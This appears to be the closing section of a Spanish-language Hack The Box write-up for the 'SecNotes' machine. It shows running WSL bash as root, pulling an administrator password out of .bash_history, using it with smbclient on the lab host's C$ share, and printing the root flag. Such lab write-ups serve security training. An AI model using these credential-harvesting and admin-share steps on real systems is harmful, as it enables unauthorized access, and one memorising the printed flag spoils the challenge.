Por el nombre podriamos deducir que es una bash de GNU/Linux, por lo que en este sistema Windows, corre WSL(Windows Subsystem Linux), el subsistema de Linux dentro de Windows

Vamos a visualizar que es lo que contiene el archivo "bash.lnk" con el comando "type":

C:\Users\tyler\Desktop>type bash.lnk
type bash.lnk
L�F w������V�   �v(���  ��9P�O� �:i�+00�/C:\V1�LIWindows@       ヒL���LI.h���&WindowsZ1�L<System32B      ヒL���L<.p�k�System32▒Z2��LP� bash.exeB  ヒL<��LU.�Y����bash.exe▒K-JںݜC:\Windows\System32\bash.exe"..\..\..\Windows\System32\bash.exeC:\Windows\System32�%�
                                                                                          �wN�▒�]N�D.��Q���`�Xsecnotesx�<sAA��㍧�o�:u��'�/�x�<sAA��㍧�o�:u��'�/�=     �Y1SPS�0��C�G����sf"=dSystem32 (C:\Windows)�1SPS��XF�L8C���&�m�q/S-1-5-21-1791094074-1363918840-4199337083-1002�1SPS0�%��G▒��`����%
        bash.exe@������
                       �)
                         Application@v(���      �i1SPS�jc(=�����O�▒�MC:\Windows\System32\bash.exe91SPS�mD��pH�H@.�=x�hH�(�bP
C:\Users\tyler\Desktop>

Si miramos bien lo que nos devuelve el comando, podremos ver que hay un archivo "bash.exe", dentro de la siguiente ruta "C:\Windows\System32\bash.exe"

Vamos a movernos a la ruta encontrada:

C:\Users\tyler\Desktop>cd /Windows/System32    
cd /Windows/System32

C:\Windows\System32>

Y ejecutamos el archivo "bash.exe" previamente mencionado:

C:\Windows\System32>bash.exe
bash.exe
mesg: ttyname failed: Inappropriate ioctl for device

Si ejecutamos el comando "whoami":

C:\Windows\System32>bash.exe
bash.exe
mesg: ttyname failed: Inappropriate ioctl for device
whoami
root

Somos usuarios root

Pero como podemos ver, no tenemos un prompt dentro de esta consola, vamos a ganarnos un prompt con el siguiente comando:

script /dev/null -c bash

Ejecutamos:

C:\Windows\System32>bash.exe
bash.exe
mesg: ttyname failed: Inappropriate ioctl for device
whoami
root
script /dev/null -c bash
Script started, file is /dev/null
root@SECNOTES:~# 

Ya tendríamos un prompt

Si listamos los directorios ocultos con el comando "ls -la":

root@SECNOTES:~# ls -la
ls -la
total 8
drwx------ 1 root root  512 Jun 22  2018 .
drwxr-xr-x 1 root root  512 Jun 21  2018 ..
---------- 1 root root  398 Jun 22  2018 .bash_history
-rw-r--r-- 1 root root 3112 Jun 22  2018 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
drwxrwxrwx 1 root root  512 Jun 22  2018 filesystem
root@SECNOTES:~# 

Vemos que hay un archivo oculto llamado ".bash_history" que contiene el historial de la bash, si la visualizamos con el comando "cat", tambien podriamos ejecutar el comando "history", es lo mismo:

root@SECNOTES:~# cat .bash_history
cat .bash_history
cd /mnt/c/
ls
cd Users/
cd /
cd ~
ls
pwd
mkdir filesystem
mount //127.0.0.1/c$ filesystem/
sudo apt install cifs-utils
mount //127.0.0.1/c$ filesystem/
mount //127.0.0.1/c$ filesystem/ -o user=administrator
cat /proc/filesystems
sudo modprobe cifs
smbclient
apt install smbclient
smbclient
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$
> .bash_history 
less .bash_history
exit
root@SECNOTES:~# 

Vemos que hay unas credenciales para conectarnos mediante SMB

smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$

Vamos a conectarnos mediante SMB con estas credenciales al recurso compartido "C$" con el siguiente comando dentro de nuestra maquina Linux en una consola nueva:

smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\10.10.10.97\\c$

Ejecutamos:

❯ smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\10.10.10.97\\c$
Try "help" to get a list of possible commands.
smb: \>

Nos conecta correctamente

4.1 Obtención de la flag root

La flag de root se encuentra en la siguiente ruta:

❯ smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\10.10.10.97\\c$
Try "help" to get a list of possible commands.
smb: \> ls
  $Recycle.Bin                      DHS        0  Thu Jun 21 19:24:29 2018
  bootmgr                          AHSR   395268  Fri Jul 10 08:00:31 2015
  BOOTNXT                           AHS        1  Fri Jul 10 08:00:31 2015
  Config.Msi                        DHS        0  Mon Jan 25 12:24:50 2021
  Distros                             D        0  Thu Jun 21 19:07:52 2018
  Documents and Settings          DHSrn        0  Fri Jul 10 09:21:38 2015
  inetpub                             D        0  Thu Jun 21 22:47:33 2018
  Microsoft                           D        0  Fri Jun 22 18:09:10 2018
  pagefile.sys                      AHS 738197504  Thu Feb 20 17:44:09 2025
  PerfLogs                            D        0  Wed Apr 11 20:38:20 2018
  php7                                D        0  Thu Jun 21 12:15:24 2018
  Program Files                      DR        0  Tue Jan 26 07:39:51 2021
  Program Files (x86)                DR        0  Tue Jan 26 07:38:26 2021
  ProgramData                        DH        0  Sun Aug 19 18:56:49 2018
  Recovery                         DHSn        0  Thu Jun 21 18:52:17 2018
  swapfile.sys                      AHS 16777216  Thu Feb 20 17:44:09 2025
  System Volume Information         DHS        0  Thu Jun 21 18:53:13 2018
  Ubuntu.zip                          A 201749452  Thu Jun 21 19:07:28 2018
  Users                              DR        0  Thu Jun 21 19:00:39 2018
  Windows                             D        0  Tue Jan 26 07:38:46 2021

                7736063 blocks of size 4096. 3396621 blocks available
smb: \> cd Users\
smb: \Users\> ls
  .                                  DR        0  Thu Jun 21 19:00:39 2018
  ..                                 DR        0  Thu Jun 21 19:00:39 2018
  Administrator                       D        0  Mon Jan 25 12:45:33 2021
  All Users                       DHSrn        0  Wed Apr 11 20:45:03 2018
  Default                           DHR        0  Thu Jun 21 18:52:17 2018
  Default User                    DHSrn        0  Wed Apr 11 20:45:03 2018
  DefaultAppPool                      D        0  Thu Jun 21 18:55:22 2018
  desktop.ini                       AHS      174  Wed Apr 11 20:36:38 2018
  new                                 D        0  Thu Jun 21 17:23:17 2018
  newsite                             D        0  Thu Jun 21 19:00:40 2018
  Public                             DR        0  Thu Jun 21 18:12:08 2018
  tyler                               D        0  Sun Aug 19 14:54:37 2018
  wayne                               D        0  Thu Jun 21 18:55:26 2018

                7736063 blocks of size 4096. 3396633 blocks available
smb: \Users\> cd Administrator\
smb: \Users\Administrator\> ls
  .                                   D        0  Mon Jan 25 12:45:33 2021
  ..                                  D        0  Mon Jan 25 12:45:33 2021
  3D Objects                         DR        0  Sun Aug 19 14:01:17 2018
  AppData                            DH        0  Thu Feb 20 17:45:08 2025
  Application Data                DHSrn        0  Thu Jun 21 21:49:32 2018
  Contacts                           DR        0  Sun Aug 19 14:01:17 2018
  Cookies                         DHSrn        0  Thu Jun 21 21:49:32 2018
  Desktop                            DR        0  Tue Jan 26 07:39:01 2021
  Documents                          DR        0  Sun Aug 19 14:01:17 2018
  Downloads                          DR        0  Mon Jan 25 12:47:29 2021
  Favorites                          DR        0  Sun Aug 19 14:01:17 2018
  Links                              DR        0  Sun Aug 19 14:01:18 2018
  Local Settings                  DHSrn        0  Thu Jun 21 21:49:32 2018
  MicrosoftEdgeBackups               DH        0  Mon Jan 25 12:45:33 2021
  Music                              DR        0  Sun Aug 19 14:01:17 2018
  My Documents                    DHSrn        0  Thu Jun 21 21:49:32 2018
  NetHood                         DHSrn        0  Thu Jun 21 21:49:32 2018
  NTUSER.DAT                        AHn  1310720  Thu Feb 20 17:45:12 2025
  ntuser.dat.LOG1                   AHS   340992  Thu Jun 21 21:49:32 2018
  ntuser.dat.LOG2                   AHS   340992  Thu Jun 21 21:49:32 2018
  NTUSER.DAT{3eb2f144-75be-11e8-91df-080027cb2f82}.TM.blf    AHS    65536  Thu Jun 21 21:49:32 2018
  NTUSER.DAT{3eb2f144-75be-11e8-91df-080027cb2f82}.TMContainer00000000000000000001.regtrans-ms    AHS   524288  Thu Jun 21 21:49:32 2018
  NTUSER.DAT{3eb2f144-75be-11e8-91df-080027cb2f82}.TMContainer00000000000000000002.regtrans-ms    AHS   524288  Thu Jun 21 21:49:32 2018
  ntuser.ini                         HS       20  Fri Jun 22 20:44:28 2018
  OneDrive                           DR        0  Thu Jun 21 17:01:39 2018
  Pictures                           DR        0  Sun Aug 19 14:01:17 2018
  PrintHood                       DHSrn        0  Thu Jun 21 21:49:32 2018
  Recent                          DHSrn        0  Thu Jun 21 21:49:32 2018
  Saved Games                        DR        0  Sun Aug 19 14:01:18 2018
  Searches                           DR        0  Sun Aug 19 14:01:17 2018
  SendTo                          DHSrn        0  Thu Jun 21 21:49:32 2018
  Start Menu                      DHSrn        0  Thu Jun 21 21:49:32 2018
  Templates                       DHSrn        0  Thu Jun 21 21:49:32 2018
  Videos                             DR        0  Sun Aug 19 14:01:17 2018

                7736063 blocks of size 4096. 3396633 blocks available
smb: \Users\Administrator\> cd Desktop\
smb: \Users\Administrator\Desktop\> ls
  .                                  DR        0  Tue Jan 26 07:39:01 2021
  ..                                 DR        0  Tue Jan 26 07:39:01 2021
  desktop.ini                       AHS      282  Sun Aug 19 14:01:17 2018
  Microsoft Edge.lnk                  A     1417  Fri Jun 22 20:45:06 2018
  root.txt                           AR       34  Thu Feb 20 17:45:08 2025

                7736063 blocks of size 4096. 3396633 blocks available

Dentro de la ruta "\Users\Administrator\Desktop\root.txt"

Y para guardar el archivo root.txt dentro de nuestro Kali, utilizamos el comando "get" para descargarlo

smb: \Users\Administrator\Desktop\> get root.txt 
getting file \Users\Administrator\Desktop\root.txt of size 34 as root.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \Users\Administrator\Desktop\> 

Salimos de smbclient con el comando "exit" y hacemos un "cat" al archivo "root.txt " para visualizar la flag de root e introducirla en Hack The Box

smb: \Users\Administrator\Desktop\> exit
❯ cat root.txt
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: root.txt
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ e0e220e3039da14abfd828d923b2d5d6
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Con esto, concluimos la maquina "SecNotes" de Hack The Box

Espero te haya sido de ayuda este Write Up :)

Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales

Última actualización